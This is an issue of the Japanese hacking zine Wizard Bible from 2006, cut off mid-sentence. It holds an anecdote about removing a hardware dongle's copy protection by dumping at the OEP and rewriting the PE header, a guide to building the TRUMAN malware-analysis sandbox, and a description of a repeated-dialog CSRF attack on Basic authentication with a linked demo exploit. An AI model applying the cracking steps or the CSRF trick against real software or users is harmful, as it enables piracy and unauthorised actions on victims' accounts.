[-]=======================================================================[-] Wizard Bible vol.30 (2006,12,25) [-]=======================================================================[-] x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第0章:目次 --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○第1章:美咲ちゃんの幻の14章はどうして本当に幻になってしまったのか やねうらお 著 ○第2章:TRUMAN解説 tessy 著 ○第3章:死のダイアログ 金床 著 ○第4章:PEditorの改造 Will 著 ○第5章:見えないファイル、消せないファイル? 〜代替データストリーム〜 PSY 著 ○第6章:Internet Explorer 6.0の表示URLを取得する方法 〜グローバルフック〜 沢木正人 著 ○第7章:はじめてのハッキング 〜Linuxの概要〜 Defolos 著 ○第8章:PHPでソケットを使ってサーバ負荷軽減 Zキチガイ 著 ○第9章:Rapid Development of Packer Vol.2 Suma 著 ○第10章:ハニーポットを作ろう(連載第10回) Narusase 著 ○第11章:SQL Injection えいる 著 ○第12章:暗号プログラミング 〜後編〜 Kenji Aiko 著 ○第13章:スーパーホームレス入門[住居基礎編] MaD 著 ○第14章:基礎暗号学講座 〜 第6回 〜 IPUSIRON 著 ○第15章:お知らせ ○第16章:著者プロフィール x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第1章: 美咲ちゃんの幻の14章はどうして本当に幻になってしまったのか --- 著者:やねうらお x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) この本は何なのか  『解析魔法少女美咲ちゃんマジカルオープン』(秀和システム)は、ソフトウェ アの解析手法についてライトノベル感覚で読めるようにわかりやすく書いた本だ。 ソフトウェアを解析してプロテクトを外したり、外されないように防御したりす るためのノウハウを凝縮した。  しかしこの本のタイトルでは内容を想像しがたいだろう。なぜこのようなタイ トルになってしまったのか。私のblogより以下にその理由を引用する。 ----- blogから引用  本というのは、企画案の段階で本のタイトルを決める。そのときの案では、美 咲は魔法使いで、「マジカルオープン!」とか言ってソフトをどんどんクラック してしまう本になる予定だったのだ。  美咲「でたわね!邪神ドングラー!あなたはソフトウェアにプロテクトをかけ、 罪もないバックアップ目的のコピーをもことごとく妨害し続けてきた!許せない。 罪のないコピーを虐げるだなんて!あなたの悪事の数々、この倉塚美咲がしかと 見届けたわよ!いでよ、逆アセンブラ!マジカルオ〜プン!!」  とまあ、こんな本になる予定だった。それが少し書いてみたところ、すごく書 きにくいことに気づいた。2ページほど書いているうちに頭痛がしてきた。3ペ ージほど書いているうちに吐き気がして、もう一行も書き進めなくなった。仕方 ないので、本のタイトルはあとで変更しようと思って、適当に書き進めた。締め 切りの日の前日なんか、1日で65ページも書いたりした。  もう、魔法少女はやめて本のタイトルは「クラック読本」ぐらいにする予定だ った。だって「解析少女美咲ちゃんマジカルオープン」って、何の本かすらわか らんし。そんなわけで、書きあがった時に出版社の担当に相談したところ、 「企画案の段階なら変更できたんですけどねぇ..」  ガーーーン!Σ(゜Д゜) だって本文に魔法とか全然出てないじゃないですか? 「魔法のようにクラックできちゃうってことでいいんじゃないですか?」  そんなこんなで、締め切りに間に合わなくて、書きかけのままお蔵入りさせて いた 14章以降を、やねう企画のホームページ上で公開しちゃいますよ!(書き上 げるまでしばらく待ってネ) そこでは美咲はついに魔法少女に..。 -----  ということだ。だから、締切に間に合わなかった14章の原稿を発売後に会社のペ ージに載せようと考えていた。 ■0x02.) 幻の14章はどうして本当に幻になってしまったのか  実は原稿は締切に間に合わなかったのではない。“間に合わせなかった”のだ。 そのことを説明するために、この本を書くに至った動機を説明しておきたい。  私は昔から他人のソースやプログラムを解析することが多かった。昔はそれほ ど書籍やプログラミングの情報に恵まれておらず、他人のソースやバイナリの解 析ぐらいしか学ぶ手段がなかったからである。  そこで、当然その過程でプロテクトルーチンにも接することになる。市販のソ フトは解析をさせないために何らかの小細工がしてあることも多く、それらを解 析する過程で学んだことも多い。私はこういう経験がプロテクトを施す側にも必 要になると考えている。さもなくば仮にドングル(ハードウェアプロテクト)を自 社で作ったソフトに導入したいと考えたとしても、そのドングルのプロテクト強 度を自分で評価できないからである。  さて、その問題の14章なのだが、ちょうどそれを書くとき、私は自社のソフト のために製品WというS社のプロテクト装置の導入を検討していた。  日本ではここをはじめとして数社しかドングルを販売しておらず、マニュアル 類が日本語で書かれているほうが使いやすいし、マイナーのドングルのほうが解 析情報が出回ってない可能性が高く、製品Wはアラジン社(世界的に有名なドング ルの会社)のHASPより若干安かった。よってここを選んだわけである。  そこで試しに10個この製品Wを購入して実際にプロテクトを掛けてテストしてみ た。正確に言うと時間が無かったので自社製品の数個に製品Wでプロテクトをかけ て出荷した。そして、そのあと自分でこのプロテクトの強度を調べてみることに した。プロテクトの強度を調べるのに際してリバースエンジニアリングが必要に なる。リバースエンジニアリングを行なって良いか、S社の社長であるK氏にメー ルで確認した。 ----- K氏へのメール それで、ひとつご相談なのですが、プロテクトの強度チェックに際して その確認のためにリバースエンジニアリングが必要となる(こともある) と思うのですが、それを行なっても構わないでしょうか?この部分、 お互い納得した状態で進めないと、あとでリバースエンジニアリングを 行なったことに対して御社からクレームがつくといけませんので、細心の 注意を払っておきたいのです。何卒宜しくお願い致します。 -----  K氏からは以下の返答を得た。 ----- K氏からの返答メール 暗号化処理を行った貴社のプログラムに対して、リバースエンジニアリング等を 行って強度チェックを行って頂いても問題ありません。 過去、何度かハッカーコンテストを行っており、まだ破られたことがないのです が....。 ただ、製品Wの暗号化ツール、ユーティリティにつきましては、開発会社と の契約上、リバースエンジニアリング行為が禁止されていますので、できました ら、ご遠慮いただけると有り難いのですが....。 -----  そこでさっそく解析にとりかかった。  すると驚くべきことにわずか数分でプロテクトは外れてしまった。この時点で 私の怒り爆発である。これは立派な詐欺商品だ!!うちの会社で作っていたソフ トウェアに製品Wでプロテクトをして出荷した分はいまごろいまごろクラックされ て使い放題に改ざんされていることは想像に難くなく、被害額も相当なものだ。 非常に遺憾である。  そこでK氏にレポートのため以下のメールを出した。 ----- K氏へのメール (・・・中略・・・) 仕組みとしては、製品Wと連動したバイナリの暗号化によるプロテクトです ね。各社に固有のキーが割り振られるのですが、このキーを元に暗号化、復号化 が行われるようです。そのため、正規のドングル無しではクラックは不可能に等 しいです。(RSA コンテストに挑むようなもの) ただ、これは製品Wに限らず、ドングルを採用しているどのようなプロテク トでも考えられることですから、問題は「正規のドングルを所有していても、ク ラックをすることが困難であるか」ということになります。 そこで調べていくと、この製品Wのプロテクト、非常に易しいです。 それこそ AsProtect の方が数段、ややこしいことをしています。 OllyDbg のようなフリーのデバッガーの SFX 解析で楽に OEP まで辿りつける上 に、その時点で、暗号化する前のセクションが、ご丁寧に元の IAT 等含め完全に 再現されています。この状態でぶっこ抜いて、PE ヘッダの一部(IAT に関するも の、この時点では暗号化されたもののため)を、書き換えるだけで、プロテクト が外れたバイナリを得ることが出来ます。 後は、製品Wの暗号化部が使用していたセクションを削り落す作業等をすれ ば完了です。 開始、わずか数分程度でプロテクトが外れてしまいました。 (・・・中略・・・) こんなものではプロテクトとは呼べないですし、AsProtectより脆弱なプロテクト では商品的価値すら無く、正直、詐欺商品だと感じます。こんなプロテクトとも 呼べないような素人騙しの商品を売っていて恥ずかしくないのか非常に疑問です。 ひょっとしてK様は、この商品の技術的な仕組みをまったく理解されていないので しょうか? 弊社の技術スタッフであれば、2,3日あればこれよりはるかにマシなプロテクトを 施すことが出来ます。しかしそれでは不安だからということで御社製品を買い求 めたのに、こんなプロテクトではAsProtectのほうがはるかにマシです。 -----  K氏からはお詫びどころか返答のメールさえ来なかった。  私がセキュリティ関連の商品を販売していたら、その商品のセキュリティ的な 欠陥は金を払ってでも教えてもらいたいところなのだが、K氏は違うようだ。まし て今回の場合は私はこの商品を購入したお客様である。それと同時にこの商品の セキュリティ的な欠陥により多額の被害を被った被害者である。その被害者が事 細かにこの製品の何がどう悪いか教えてくれるという五大陸に響き渡るような親 切心(大げさか)をもK氏は踏みにじるわけか。  この仕打ちに怒り心頭に発した私はこの一件を美咲ちゃんの14章に書いてやろ うと思っていた。  しかし以上に書いたことはすべて事実であり、技術的にも何一つ間違ったこと は書いていないつもりだが、この情報を公開することにより実際に製品Wの販売に 影響することは十分に考えられる。これを技術情報として本に書いてしまうと損 害賠償を求めて裁判でも起こされたら下手すると出版差し止めになりかねない。  そこでホームページに掲載するのならば何か問題が起きたときに削除すること により出版差し止めほどのダメージは無いと考えた。だから14章はホームページ 上で公開すると決めたわけだ。  ところが美咲ちゃんの発売日になると気持ちが揺らいできたのだ。これは他社 製のドングルをいくつも調べてみた結果、プロテクト強度は若干違うものの似た り寄ったりな状況だったので、製品Wだけが欠陥商品であるかのような書き方はい かがなものか、と思うようになったためだ。  何度でも書くが以上のように私から見て製品Wはドングルとしては欠陥商品そ のものであるのだが、かと言って他のドングルが欠陥商品でないかのような書き 方は公平性に欠ける。私からすればほとんどの市販のドングルは欠陥商品であり 詐欺まがいの商品である。だから製品Wだけを槍玉に挙げ「他の商品なら安心だ」 とユーザーに錯覚させる行為はすべきではない。「どのドングルもあるレベルの 解析屋にとっては大差なく、クラックしようと思えばクラックできるのだ」とい う現実をユーザーに知らしめることが先決だ。出来れば製品Wだけではなくすべて のドングルを公平にその強度を比較したデータを公表すべきだろう。そう思って いくつか資料を用意していたのだが、そのあと私はあるセキュリティ会社の取締 役に就任してしまった。それがせいで当時に私が作成した資料は門外不出になっ てしまった。  結局のところ、私は幻の14章をそのまま幻にしようと決めた。だけど何らかの 形で美咲本を買ってくれた読者にそのことを伝えようと思っていた。今回、こう いう形で発表する場を提供してくださったIPUSIRONさんには感謝したい。 ・『解析魔法少女美咲ちゃんマジカルオープン』をアマゾンで購入 http://www.amazon.co.jp/exec/obidos/ASIN/4798008532/aaaaab0c-22/ 以上 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第2章: TRUMAN解説 --- 著者:tessy x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  チームチドリのtessyです。今回はmalware解析のためのツールであるTRUMANに ついて書かせていただこうと思います。以前に、第5回セキュそば勉強会(2006/3 /4) で「sandnet」という内容で発表したのですが、説明不足な点がありましたの で、今回の解説で補足できればと思っています。  発表時の資料については以下のリンク先のページをご覧ください。 http://www.t-dori.net/modules/news/article.php?storyid=11 ・セキュそば勉強会Wiki http://secusoba.info/ ■0x02.) malware(マルウェア)解析と現状  一般的にプログラムの挙動を解析する方法としては、ソースコードやプログラ ムを逆アセンブルし解析を行う「静的解析(Static Analysis)」とデバッガや仮想 環境などを用い実際に動作させながらその挙動を解析する「動的解析(Active An alysis,Dynamic Analysis)」があります。  malwareのような悪意のある未知のプログラムを解析する場合、「静的解析」で は実際にプログラムを実行させないため、安全に解析ができるメリットがありま す。しかしソースコードなどは手に入らないことが普通ですし、最近は逆アセン ブル対策としてパッカーと呼ばれるツールを利用しプログラムファイルを圧縮・ 暗号化し解析を困難にしています。  一方で「動的解析」では実際に動作させながら解析を行うため、より詳しい挙 動の解析が可能ですが、解析環境自体が汚染・攻撃される危険性が出てきます。 そこでVMwareなどの仮想マシンを構築できるソフトウェアを利用する方法があり ます。すると実環境とは別に独立した解析環境を構築でき、容易に元の状態に戻 すことができるため、malwareなどの解析の環境としては非常に便利です。しかし、 こちらも最近は仮想環境上であることを検知し実行されないものや、デバッガの アタッチを検知し動作を停止するものなど解析を回避する流れが多くなっていま す。  こういった背景などから、実機環境で実行し挙動を監視した後、元通りに戻す 環境が構築が望まれていました。  ちなみに、デバッガの検知、回避する技術について、同じ第5回セキュそば勉強 会でチームチドリのyoggyによる「Anti-Debugging」という発表があるのでこちら の資料なども参考にしてみてください。 ■0x02.) TRUMAN概要  LURHQのセキュリティの研究員であるJoe Stewartさん(現在は合併してSecure Worksとなっている)がこういったニーズを満たすために開発したツールがTRUMAN です。 ・Joe Stewartさんサイト http://www.joestewart.org/ ・Truman - The Reusable Unknown Malware Analysis Net http://www.lurhq.com/truman/ ・TRUMANファイル http://www.lurhq.com/truman/truman-0.1.tar.gz  TRUMANは「The Reusable Unknown Malware Analysis Net」の略で、日本語で言 うと「再利用可能なMalware解析用ネットワーク」ということになります。TRUMAN はサーバとクライアントで構成されPXE Linuxの技術を利用しmalwareの解析と環 境の復元を行います。PXEとはPreboot eXecution Environmentの略で、Intelが提 唱するネットワークブートの規格です。PXE Linuxはこの技術を利用しネットワー ク越しに起動するLinuxのことです。最近はCD/DVDなどのドライブの無いノートPC へのLinuxインストールや、ディスクレスのLinux端末、クラスタリングのシステム の構築などに使われています。  実際にはTRUMANクライアントでmalwareを実行させ、その前後のディスクイメー ジをPXE Linuxを利用しTRUMANサーバに取得します。このディスクイメージを比較 し改変されたファイル、レジストリなどを抽出します。また同時に、TRUMANサー バはDNSやIRCなどの仮想サーバとしても動作しmalwareが外部のサーバへ通信する 様子も取得することができます。解析が終わった後はmalware実行前のクリーンな 環境に戻すことができます。  TRUMANサーバはDebian、TRUMANクライアントはWindows 2000を想定して作成さ れています。TRUMANファイル内のINSTALL.txtにインストール手順が書かれていま すが、以下に補足も含めてに構築手順を解説します。 ■0x03.) TRUMANサーバの構築  TRUMANサーバには2枚のNICとHD容量に余裕を持ったマシンを用意します。TRUM ANサーバは解析のたびにTRUMANクライアントのディスクイメージを保存していき ます。TRUMANクライアントのディスク容量によりますが、最低でもDebianシステ ム+TRUMANクライアントHD容量×2の容量は必要です。保存しておく回数などを考 慮してHD容量を選定してください。最近の機器では特に問題とはならないと思い ます。  Debianのインストール手順については割愛します。特別なパッケージの選択や 設定は必要ありません。NICについては次の前提で話を進めていきます。 ・eth0を外部接続用 ・eth1をTRUMANクライアントとの接続用  TRUMANサーバはまずPXEサーバとなるためにDHCPサーバとTFTPサーバを準備しま す。PXEの起動時にクライアントはDHCPサーバを検索し、サーバに設定された起動 イメージをTFTP経由でダウンロードして起動します。  そのほかにはTRUMANクライアントはWeb経由でmalwareをダウンロードしますの で、Apacheが、malwareの通信データを取得するためにtcpdump、ngrepなどを用意 します。 ----- # apt-get install perl apache2 atftpd dhcpd xinetd tcpdump ngrep -----  PerlのNet::DNSモジュールもインストールしておきます。 ----- # perl -MCPAN install Net::DNS -----  TRUMANのファイルの中でwin32以外のディレクトリをルート直下からコピーしま す。 ----- # tar zxvf truman-0.1.tar.gz # cd truman-0.1 # cp -r etc/ fauxserver/ forensics/ images/ mnt/ tftpboot/ usr/ / -----  DHCPの稼働するNICを指定します。「/etc/init.d/dhcp」と「/etc/default/dh cp」のINTERFACESを「INTERFACES="eth1"」に変更します。「/etc/services」に ddsaveとddrestoreのポートを追記します。 ----- ddsave 45611/tcp #TRUMAN ddsave ddrestore 45612/tcp #TRUMAN ddrestore -----  malwareの通信を外部に流さないようにしTRUMANサーバ内の仮想サーバにリダイ レクトさせるfwを起動させる設定をします。 ----- # update-rc.d fw defaults 99 -----  xinetdをインストールするとinetdが起動しなくなっているため起動するように 設定を変更します。元々のinetdはinetd.realに変更されていますので戻します。 ----- # mv /etc/init.d/inetd.real /etc/init.d/inetd -----  「/etc/xinetd.d/ddrestore」の中でddquietを使う設定になっていますがddを 使用するように変更します。 ----- 変更前 /bin/ddquiet ----- ----- 変更後 /bin/dd -----  すべてを設定し、エラー無く起動できばサーバの構築は完了です。 ----- # /etc/init.d/dhcpd start # /etc/init.d/inetd start # /etc/init.d/apache start # /etc/init.d/xinetd restart ----- ■0x04.) TRUMANクライアントの構築  実はTRUMANクライアントの構築が一番大変です。Windows 2000で動作させる際 には問題はあまりありませんが、PXE Linuxで起動させる際にNICとHDインーフェ ースなどのハードウェア構成で問題が起こることが多々あります。これはPXE Li nuxのイメージに入っているドライバが限られているためです。ドライバの入れ替 えなどは時間がなく完全には検証しきれませんでした。HDについても注意が必要 です。HDのイメージを取得しますので、あまり大きすぎないHDを推奨します。Wi ndows 2000のシステムの容量を考慮すると最低2GB程度は必要です。またインター フェースもIDEのものを選択してください。これもPXE Linuxで認識させるためで す。最近のハードウェアはSATAで大容量HDを搭載し最新のチップのNICであるため、 TRUMANクライアントにはちょっと向いていません。少し古めの機器がいいのです が、この辺は試行錯誤をしてみてください。  TRUMANクライアントにはWindows 2000をインストールします。こちらの手順も 割愛します。特別な設定は必要ありません。TRUMANパッケージのwin32のディレ クトリをCドライブの直下にコピーします。  またバッチファイル内で使用するコマンドを取得しておきます。 ・psshutdown.exe http://www.microsoft.com/technet/sysinternals/utilities/PsShutdown.mspx ・sleepコマンドのsleep.exe http://www.vector.co.jp/soft/win95/util/se282254.html  これらもC:\WINNT\system32にコピーしておきます。  次にC:\zero.txtという空ファイルを作成します。C:の直下にget.batとget.re gがあるのを確認し、get.regを実行します。malwareを解析するバッチファイルg et.batを自動実行させるためのエントリがレジストリに追記されます。  これでTRUMANクライアントの環境構築は完了です。 ■0x05.) 解析前準備  環境が構築できましたら、クリーンな状態のTRUMANクライアントのイメージを TRUMANサーバ側に取得します。  TRUMANのメニューは以下のようになっています。 1=save & restore クライアント環境のイメージ取得とリストア 2=normal boot 通常のWindows2000を起動(解析時) 3=save only クライアントのイメージ取得のみ 4=resutore only クライアント環境のリストアのみ 5=maint メンテナンス用Linux起動  TRUMANクライアントを起動しTRUMANのメニューが出たら、まずは「3 Save Onl y」を選択します。環境が問題なく構築されていれば、ネットワーク経由でTRUMA NクライアントのイメージをTRUMANサーバ側に転送します。転送が終了すると再起 動します。TRUMANクライアントのHD容量によりますが、これは結構時間がかかり ますので、もし起動しても1,2分で再起動するようであればうまく環境が構築さ れていません。5=maintのメンテナンスモードで起動しNICの認識など確認をして みてください。  ディスクイメージの取得ができたら、TRUMANサーバ側でリストア用イメージに 名前を変更し、クリーンな状態のファイル、レジストリ情報を取得しておきます。 ----- # mv /images/ddsave.img /images/ddrestore.img # mount /images/ddrestore.img /mnt/orig # mount -o loop -r -t ntfs /images/ddrestore.img /mnt/orig/ # cd /mnt/orig # ls -lR > /forensics/orig/orig.ls # dumphive /mnt/orig/WINNT/system32/config/default /forensics/orig/default.reg # dumphive /mnt/orig/WINNT/system32/config/software/forensics/orig/software.reg # dumphive /mnt/orig/WINNT/system32/config/system /forensics/orig/system.reg # cd .. # umount /mnt/orig/ -----  ここまできてようやく解析環境の構築が終了です。 ■0x06.) malwareの解析手順  解析したいmalwareをTRUMANサーバの/forensics/queueに保存します。Windows で実行できるようにファイル名に.exeを追加しておきます。TRUMANサーバの仮想 サーバを起動しておきます。 ----- # /fauxservers/start.sh -----  TRUMANクライアントを起動します。TRUMANのメニューが出たら「2=normal boo t」を選択します。ログインをするとバッチファイルが起動しmalwareをTRUMANサ ーバからダウンロードし実行します。TRUMANサーバではtcpdumpデータが出力され ているので、malwareの通信などを監視しながら待ちましょう。600秒待機の後、 TRUMANクライアントはメモリデータの保存を実行します。メモリダンプデータは C:\memdump.imgに保存されます。これは後ほどの解析時に取り出されますので特 になにもする必要がありません。Malware解析時にWindowsを操作するとそれがMa lwareの挙動として記録されてしまいますので、できれば何も操作しない方がいい でしょう。  Windows 2000が再起動します。  解析のためTRUMANクライアントのディスクイメージを取得します。TRUMANクラ イアントを起動しTRUMANのメニューから「1=save & restore」を選択します。ma lwareの実行されたディスクイメージの取得とリストアが行われます。これも結構 時間がかかりますので気長に待ちましょう。TRUMANクライアントの環境が元に戻 ったらTRUMANクライアントは電源を落としておきます。  TRUMANサーバ側で解析を実行します。解析のスクリプトが用意されていますの でそれを実行します。 ----- # /forensics/forensics.sh -----  クリーンなイメージと先ほど取得したイメージからファイルの差分、レジスト リの差分、通信データ(取得されているもののみ)、メモリデータ、ページファ イルの取得などが一括で処理されます。/forensic/[queueに置いたファイル名]- filesというディレクトリに解析データが保存されます。ファイル、レジストリの 差分は普通のテキストファイルですし、通信データはpcap形式ですのでWireshar kなどで読み取ることができます。メモリダンプデータは付属のpmodump.plなどを 利用すると可読できる形式に変換することができます。  そのほかにも様々なツールなどを利用してみてください。 ■0x07.) まとめ  このTRUMANは2006年1月にリリースされたもので旬なネタとは言い難いかもしれ ません。今回の記事を書くにあたり、久々にいじってみましたが、一つの解析に 非常に時間がかかるため実用上はちょっと微妙かなと思いました。TRUMANはコン セプトとしてはおもしろいと思いますので、何か別な応用を考えてみるのもおも しろいのかもしれません。興味を持った方は冬休みの暇つぶしにでも試してみて ください。  最近ではCWSandboxなどのようにmalwreを自動で解析してくれるサービスなども 出てきています。 ・CWSandbox http://www.cwsandbox.org/  あとTRUMANの解説については、kikuz0uさんがCentOSで構築した手順も公開され ています。こちらも参考にしてみてください。ネットワークのアドレスや構築す るOSの違いなどがありますので注意してください。 http://pen-test.jpn.org/honey:truman ■0x08.) その他おまけ  実はハード的にいろいろと問題が起きやすいのですが、VMwareを利用すると簡 単に構築することができます。仮想環境で動作しないmalwareを解析したいという ニーズを満たすことができませんが、手頃なマシンが調達できない場合など手軽 に動作を確認することができます。実は私もうまく動作させられるハードが用意 できずVMWareで構築、動作検証を行いました。実際にうまく動作しないmalwareも いくつかありました。  私が構築した環境は以下の通りです。 [TRUMANサーバ] ・Debian 3.1r3 ・メモリ256MB ・HDはIDEで8GB ・NICを2つ(1つはNAT、1つはHostOnly) ・音源デバイスは削除(必須ではない) ・ [TRUMANクライアント] ・Windows2000 SP4 ・メモリ128MB ・HDはIDEで2GB ・NICを1つ(HostOnly) ・音源デバイスは削除(必須ではない) [その他ポイント] HostOnlyネットワークのDHCPを停止  上記環境で2回の解析が保存できる環境ができました。ディスクの保存、リスト アはそれぞれ40分程度かかりました。VMwareを利用していますのでスナップショ ットを利用してリストアの部分を、イメージを直接マウントすることでイメージ 保存の部分は簡単にできるかもしれません。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第3章: 死のダイアログ --- 著者:金床 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  CSRFでは次のようなウェブアプリケーションが攻撃対象となる。 ・Cookieによるセッション管理で認証を行っている ・Basic認証を使っている ・SSLクライアント認証を使っている  最近Basic認証について色々と調べていたところ、CSRFによるBasic認証特有の 少し面白い攻撃方法を思いついた。といっても大したものではないので期待しな いでほしい。技術的に大したことがないので、名前だけでも派手にすべく「死の ダイアログ」と命名した。 ■0x02.) とっても便利なパスワードマネージャ  Basic認証によってアクセス管理を行っているウェブアプリケーションはCSRF攻 撃の対象となる。トークンなどを使ったCSRF対策が行われていない場合、基本的 には次のような条件が揃うと攻撃が成功してしまう。なお、以下の文章でイヴは 攻撃者、アリスはターゲットとなるユーザである。 ・イヴが攻撃対象のウェブアプリケーションのURIを知っている ・イヴが攻撃対象のウェブアプリケーションの仕組み(送るべきフォームの要素) を知っている ・アリスが罠のページを訪れる ・アリスが対象のウェブアプリケーションにログインしている  ここで注目したいのは最後の「アリスが対象のウェブアプリケーションにログ インしている」である。  ログインしていれば、CSRFは(もちろんCSRF対策が施されていない場合)成功 する。ではログインしていないときはどうなるのだろうか。  ログインしていない場合、アリスが罠のページを訪れ、ウェブアプリケーショ ンに対して知らぬ間にリクエストが飛ぶと、ステータスコード401のレスポンスが 返される。すると、ウェブブラウザはおなじみのBasic認証のダイアログを出す。  「ありゃりゃ…」と思わないだろうか?そう、Basic認証のダイアログが出てし まうのである。パスワードマネージャと呼ばれる、ウェブブラウザにユーザIDや パスワードを記憶させておく機能を使っていなければ、以下に述べる問題は起こ らない。問題はこの機能を使っている場合だ。ダイアログが出現し、そこにはウ ェブブラウザの便利でありがたい機能のおかげで、正しいユーザIDとパスワード がセットされている。あとはOKボタンをクリックするか、あるいはEnterキーを押 してしまえば、CSRFが成功してしまうのだ。そしてさらにまずいのが、このダイ アログはいわゆる「modal」と呼ばれるモードで登場することだ。このダイアログ を何とかして閉じないと、そのウィンドウでの他の操作は一切行うことができな いのである。  Basic認証のダイアログというのは、ぱっと見た目でどのウェブアプリケーショ ンが出したのかを区別することができない。なぜなら、違いは表示される文字だ けだからだ。しかもこの表示される文字(Realmと呼ばれる)は大抵の場合英語で あるため、普通のユーザはいきなり出てきたダイアログがまさか訪れているペー ジ以外のウェブアプリケーションのものだとは思わないのである(思うユーザは 引っかからずに済むだろう)。  では、ここでEnterキーを押してしまうのだろうか?おそらく普段パスワードマ ネージャを利用している一般的なユーザであれば、多くの人が何も考えず押して しまうだろう。「Basic認証のダイアログが出てきたらEnterキーを押すとOK」と 身体が覚えているのだ。  さて、ここで多くのユーザはEnterキーを押してしまうと思われる。その場合は CSRF攻撃は成功するわけだが、「あれ、なんでいきなりダイアログが出てくるん だろう?」と違和感を持つ手強いユーザもいるかもしれない。このようなユーザ はとりあえずキャンセルボタンを押す。するとダイアログは消えるわけだ。  …筆者が何を思いついたのか、わかってきた読者もいるのではないだろうか。 ■0x03.) ダイアログ、ダイアログ、ダイアログ  少し警戒心のあるユーザがOKボタンを押さずにキャンセルボタンを押す、ある いはEscキーを押すなどの方法でこのダイアログを閉じたとしよう。これでイヴの 攻撃は失敗に終わったのだろうか?いや、そんなことはない。一度失敗したから といってあきらめてはいけないのだ。必要なのは再チャレンジの精神である。ど こかのエライ人も再チャレンジが大事だと言っていた。そんなわけで一度閉じら れたくらいではへこたれないのである。  さてこのCSRFの攻撃対象がGETで実行可能な機能ならば、次のように簡単な方法 でダイアログを繰り返し出すことができる。 ----- ... -----  ここで、CSRF攻撃の対象はtarget2.jspであり、攻撃のために使われるパラメー タがfoo=barである。パラメータの最後の1から4までの数字はキャッシュ対策であ り、攻撃の内容とは関係がない。  閉じても閉じてもダイアログが出てくるので、困ったことにアリスは一切他の 操作ができなくなってしまう。少し詳しいユーザならばいくつかの回避策を思い つくかもしれないが、根負けしてOKボタンを押してしまえばその瞬間にCSRFが成 功する。「死のダイアログ」とはこのような力ずくのCSRF攻撃のことである。キ ャンセルしてもキャンセルしてもダイアログが出てくる。100回もキャンセルして みるとわかるのだが、だんだん頭がもうろうとしてくる。判断力がにぶってきて 何も考えられなくなり、わかっていたはずなのについついOKボタンを押してしま う。少し疲れている人ならば、閉じても閉じても現れるダイアログにそのまま昏 睡状態に落ちてしまい、最悪の場合はそのまま黄泉の国の住人となってしまう可 能性も低くない。まさに死のダイアログなのである。 ■0x04.) POSTの場合  攻撃対象の機能(画面)がPOSTしか受けつけない場合には、多少の工夫が必要 となる。ここでは実際に動くデモを作成したので、興味のある方はソースを参照 して頂きたい。IEとFireFoxで動作確認をした。基本的にはscriptタグからの読み 込みに対し401が返される場合と200が返される場合をイベント処理によって検知 し、アリスがログインした時点でフォームを実行する仕組みになっている。IEと FireFoxでそれぞれこの際に発生するイベントが異なるため、navigator.userAge ntによって処理を分けている。  なお、たとえ死のダイアログといえども、Wizard Bibleの読者に危害を加えて しまうのは筆者の望むところではない。そんなわけで今回はダイアログを数十回 キャンセルすれば、そこで攻撃が終了するようにした。実際の攻撃はこれがほぼ 無限に続くと思って頂きたい。  デモについて説明する。まず、次のURLにアクセスする。 http://www.jumperz.net/restricted/index.jsp  すると認証を求められる。ここでは次のユーザ名・パスワードでログインでき るのだが、その際ウェブブラウザにこのID/PWを記憶させるようにしてほしい。 ユーザ名: alice パスワード: 1111  このページにあるボタンをクリックすると、機能が実行されることになる(今 回はデモなので実際には意味のあることは何も実行されない)。そして画面にAc tion executedと表示される。ここまでの手順が「アリスの自らの意志による機能 の実行」である。CSRFではイヴがアリスに対し、この機能を強引に(あるいは意 識させずに)実行させることになる。  次に、一度ウェブブラウザを終了する。そしてウェブブラウザを再度起動し、 次のURL(CSRFの罠が仕掛けられている)にアクセスする。ところで、今回のデ モは非常に危険である。そのため、体調が悪い人や寝不足の人はくれぐれもアク セスしないようにしてほしい。 http://www.jumperz.net/exploits/ba1.jsp  すると、繰り返しダイアログが出現する。このページは本来ならばダイアログ を出しているウェブアプリケーション自体とは何の関係もないページである。そ のため、ここにダイアログが出てくるのは不自然なのだ。そこであなたはこのダ イアログをキャンセルすべきである。しかし先ほどから説明しているように、ダ イアログが次から次へと現れる。あきらめてOKボタンを押してしまうと、先ほど 